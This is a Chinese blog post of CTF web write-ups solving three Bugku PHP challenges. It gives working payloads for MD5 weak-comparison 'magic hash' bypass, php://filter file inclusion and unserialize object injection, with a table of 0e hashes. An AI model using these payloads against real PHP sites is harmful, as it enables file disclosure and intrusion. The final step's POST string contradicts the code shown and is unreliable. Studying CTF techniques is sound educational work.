09月19, 2018

CTF-web 笔记 3

PHP 弱类型比较及绕过 str_replace()

题目有备份字样,应该存在后缀为.bak.swp的文件。

其中.bak是常用的备份文件而.swp是由 vim 生成的交换文件。

/index.php.bak发现源代码,并简要地注释了一些函数:

<?php
    include_once "flag.php";
    ini_set("display_errors", 0);
    $str=strstr($_SERVER['REQUEST_URI'], '?');//截取路径中以 '?' 开头的子段,包括 '?'
    $str=substr($str,1);//去掉开头的 '?'
    $str=str_replace('key','',$str);//去掉 $str 中所有 'key' 子串
    parse_str($str);//把 $str 解析到对应的变量中
    echo md5($key1);
    echo md5($key2);
    if(md5($key1)==md5($key2) && $key1!==$key2)
        echo $flag."取得flag";
?>

需要传入两个不等的变量key1key2,并且它们经过md5()函数加密的值要相等。

当然,MD5 是存在碰撞的情况的,有自动生成碰撞的二进制文件的例子。

但是我没有找到发生碰撞的字符串,于是考虑用 PHP 双等号的弱类型转换。

md5($key1)md5($key2)都以0e开头并且后面跟的字符都是数字时,==在进行比较时会自动向数字类型转换。

根据规则==的两边都是数字0,符合条件的字符串如下:

字符串 MD5值
240610708 0e462097431906509019562988736854
314282422 0e990995504821699494520356953734
571579406 0e972379832854295224118025748221
903251147 0e174510503823932942361353209384
1110242161 0e435874558488625891324861198103
1320830526 0e912095958985483346995414060832
1586264293 0e622743671155995737639662718498
2302756269 0e250566888497473798724426794462
2427435592 0e067696952328669732475498472343
2653531602 0e877487522341544758028810610885
3293867441 0e471001201303602543921144570260
3295421201 0e703870333002232681239618856220
3465814713 0e258631645650999664521705537122
3524854780 0e507419062489887827087815735195
3908336290 0e807624498959190415881248245271
4011627063 0e485805687034439905938362701775
4775635065 0e998212089946640967599450361168
4790555361 0e643442214660994430134492464512
5432453531 0e512318699085881630861890526097
5579679820 0e877622011730221803461740184915
5585393579 0e664357355382305805992765337023
6376552501 0e165886706997482187870215578015
7124129977 0e500007361044747804682122060876
7197546197 0e915188576072469101457315675502
7656486157 0e451569119711843337267091732412
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
s214587387a 0e848240448830537924465865611904
s214587387a 0e848240448830537924465865611904
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
s1885207154a 0e509367213418206700842008763514
s1502113478a 0e861580163291561247404381396064
s1885207154a 0e509367213418206700842008763514
s1836677006a 0e481036490867661113260034900752
s155964671a 0e342768416822451524974117254469
s1184209335a 0e072485820392773389523109082030
s1665632922a 0e731198061491163073197128363787
s1502113478a 0e861580163291561247404381396064
s1836677006a 0e481036490867661113260034900752
s1091221200a 0e940624217856561557816327384675
s155964671a 0e342768416822451524974117254469
s1502113478a 0e861580163291561247404381396064
s155964671a 0e342768416822451524974117254469
s1665632922a 0e731198061491163073197128363787
s155964671a 0e342768416822451524974117254469
s1091221200a 0e940624217856561557816327384675
s1836677006a 0e481036490867661113260034900752
s1885207154a 0e509367213418206700842008763514
s532378020a 0e220463095855511507588041205815
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
s214587387a 0e848240448830537924465865611904
s1502113478a 0e861580163291561247404381396064
s1091221200a 0e940624217856561557816327384675
s1665632922a 0e731198061491163073197128363787
s1885207154a 0e509367213418206700842008763514
s1836677006a 0e481036490867661113260034900752
s1665632922a 0e731198061491163073197128363787
QLTHNDT 0e405967825401955372549139051580
QNKCDZO 0e830400451993494058024219903391
EEIZDOI 0e782601363539291779881938479162
TUFEPMC 0e839407194569345277863905212547
UTIPEZQ 0e382098788231234954670291303879
UYXFLOI 0e552539585246568817348686838809
IHKFRNS 0e256160682445802696926137988570
PJNPDWY 0e291529052894702774557631701704
ABJIHVY 0e755264355178451322893275696586
DQWRASX 0e742373665639232907775599582643
DYAXWCA 0e424759758842488633464374063001
GEGHBXL 0e248776895502908863709684713578
GGHMVOE 0e362766013028313274586933780773
GZECLQZ 0e537612333747236407713628225676
NWWKITQ 0e763082070976038347657360817689
NOOPCJF 0e818888003657176127862245791911
MAUXXQC 0e478478466848439040434801845361
MMHUWUV 0e701732711630150438129209816536

str_replace()函数过滤了所有'key'的子串,只要双写一层'key'即可。

构造 payload:

?kkeyey1=s878926199a&kkeyey2=s214587387a

PHP 伪协议及反序列化函数利用

题目提示代码(不是真实的源代码):

<?php
    $user = $_GET["txt"];  
    $file = $_GET["file"];  
    $pass = $_GET["password"];  
    if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
        echo "hello admin!<br>";  
        include($file); //hint.php  
    }else{  
        echo "you are not admin ! ";  
    }
?>

$user必须满足如下条件:

数据类型必须是文件

该文件转可以换成字符串welcome to the bugkuctf

故使用 PHP 伪协议:

?txt=php://input

并以 POST 方式传入一个字符串:

welcome to the bugkuctf

此时,POST 进去的字符串welcome to the bugkuctf,就会成为文件$user的内容。

经过函数file_get_contents()转换成字符串,条件成立。

再利用源代码中的include(),使用伪协议查看提示文件hint.php的真实源代码:

?file=php://filter/read=convert.base64-encode/resource=hint.php

综上,构造 payload:

?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php

并 POST 一个字符串:

welcome to the bugkuctf

获得经过 base64 加密的代码,解密后得到hint.php的源代码:

<?php  
    class Flag{//flag.php
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("good");
            }  
        }  
    }
?>

发现hint.php中只有一个类,但是在最初提示的源代码中并没有用到这个类,而且变量$password也没有用到。

于是构造 payload,查看index.php真正的源代码:

?txt=php://input&file=php://filter/read=convert.base64-encode/resource=index.php

同样的,POST 字符串:

welcome to the bugkuctf

得到index.php的真实源代码:

<?php  
    $txt = $_GET["txt"];  
    $file = $_GET["file"];  
    $password = $_GET["password"];  
    if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
        echo "hello friend!<br>";  
        if(preg_match("/flag/",$file)){ 
            echo "不能现在就给你flag哦";
            exit();  
        }else{  
            include($file);   
            $password = unserialize($password);  
            echo $password;  
        }  
    }else{  
        echo "you are not the number of bugku ! ";  
    }
?>

可以猜测答案就在flag.php中,但是直接传入flag.php会被exit()

真实的源代码依旧没有使用到hint.php中声明的类,而这个类可以输出文件内容,如果能将flag.php传入这个类,就能获得答案。

此时$password被使用到了,并经过函数unserialize()反序列化处理。

如果经过反序列化后的$password是传入参数flag.phpFlag对象,则在进行echo $password时,便会执行这个对象,输出文件内容。

则思路变为按照序列化格式构造序列化对象Flag,并传入参数flag.php

序列化格式的写法,这个博客有写:

https://www.cnblogs.com/2881064178dinfeng/p/6192825.html

构造出序列化对象$password

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最后的 payload:

?txt=php://input&file=hint.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

同样的,不要忘记 POST 字符串:

welcome to the bugkuctf

PHP 绕过综合及伪造正则

通过一些编码及解密方式获得题目源代码:

<?php
    if(!$_GET['id'])
    {
        header('Location: hello.php?id=1');
        exit();
    }
    $id=$_GET['id'];
    $a=$_GET['a'];
    $b=$_GET['b'];
    if(stripos($a,'.'))
    {
        echo 'no no no no no no no';
        return ;
    }
    $data=@file_get_contents($a,'r');
    if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
        require("f4l2a3g.txt");
    else
        print "never never never give up !!!";
?>

当然,这题可以通过直接访问f4l2a3g.txt获得答案,但是这样少了许多乐趣。

翻遍了某搜索引擎,没有一个 wp 是真正绕过了这段代码的,全都是投机取巧直接访问拿到答案。

这篇博客就说说怎么用“正确”的方式获得 Flag。

要 GET 传入三个参数$id $a $b

对于$id,限制如下:

!$_GET['id'] 为假

$id==0 为真

若传入?id=0则不满足第一个条件,故考虑==弱类型转化,传入:

?id=0e0

如此,在!$_GET['id']id被认为是字符串,而进行==比较时又会自动转换成数字进行比较,条件成立。

对于$a,限制如下:

数据类型必须是文件

该文件转可以换成字符串bugku is a nice plateform!

使用 PHP 伪协议:

?a=php://input

并以 POST 方式传入一个字符串:

bugku is a nice plateform!

此时,POST 进去的字符串bugku is a nice plateform!,就会成为文件$a的内容。

经过函数file_get_contents()转换成字符串并赋值给$data,条件成立。

对于$b,限制如下:

$b长度大于5

"111".$b的第一位构成的正则表达式必须与1114成功匹配

$b的第一位不能是4

$b的第一位是+ * .都可满足匹配,规则如下:

符号 匹配规则
* 匹配前面的子表达式零次或多次
+ 匹配前面的子表达式一次或多次
. 匹配除换行符之外的任何单字符

综上,构造 payload:

?id=0e0&a=php://input&b=%2b%2b%2b%2b%2b%2b

同样的,POST 字符串:

welcome to the bugkuctf

本文链接:https://blog.cindemor.com/post/ctf-web-3.html

-- EOF --